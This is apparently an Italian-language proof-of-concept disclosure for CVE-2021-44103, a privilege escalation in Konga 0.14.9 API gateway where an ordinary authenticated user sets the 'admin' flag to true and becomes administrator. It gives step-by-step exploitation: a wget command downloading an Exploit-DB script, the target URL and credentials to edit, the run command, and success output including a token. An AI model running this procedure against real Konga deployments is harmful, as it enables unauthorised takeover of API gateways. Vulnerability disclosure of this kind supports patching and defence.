CVE-2021-44103

Una prova di concetto per KONGA 0.14.9 - Elevazione dei privilegi.

Introduzione

Il 16 novembre 2021, Fabrício Salomão e io abbiamo trovato una vulnerabilità in Konga API Gateways, che consente a qualsiasi utente autenticato di diventare amministratore.

Segnala la vulnerabilità

Prodotto: KONGA
Modello: 0.14.9
Vulnerabilità: Elevazione dei privilegi
Impatto: accesso completo da amministratore (elevazione verticale dei privilegi)
Autenticazione: richiesta
Autore dell'exploit: Fabricio Salomao / Paulo Trindade

PoC

Di seguito è stato creato un utente normale chiamato "usernormal" senza privilegi.

Crash

Tramite la richiesta qui sotto, il flag "FALSE" nel parametro "admin" è stato cambiato in "TRUE".

Crash

Per questo è stato creato un exploit per noi: https://www.exploit-db.com/exploits/50521

Crash

Dopo aver eseguito l'exploit, l'elevazione dei privilegi ha avuto successo!

Risultato:

Crash

Esecuzione dell'exploit

wget https://www.exploit-db.com/raw/50521 -O 50521.py

Edit 50521.py

Modify:

urlkonga = "http://www.example.com:1337/" # change to your konga address
identifier = "usernormalkonga"            # change user
password = "changeme"                     # change password

Execute:

python 50521.py

[+] Attack
[+] Token eyJhbGciOiJIUzI1NiJ9.MTA.JFmJ0Vd3z5oeOTokSL0qfPZSOJmnZKEjZVzCJs_AM-U
[+] Change Normal User to Admin
[+] Success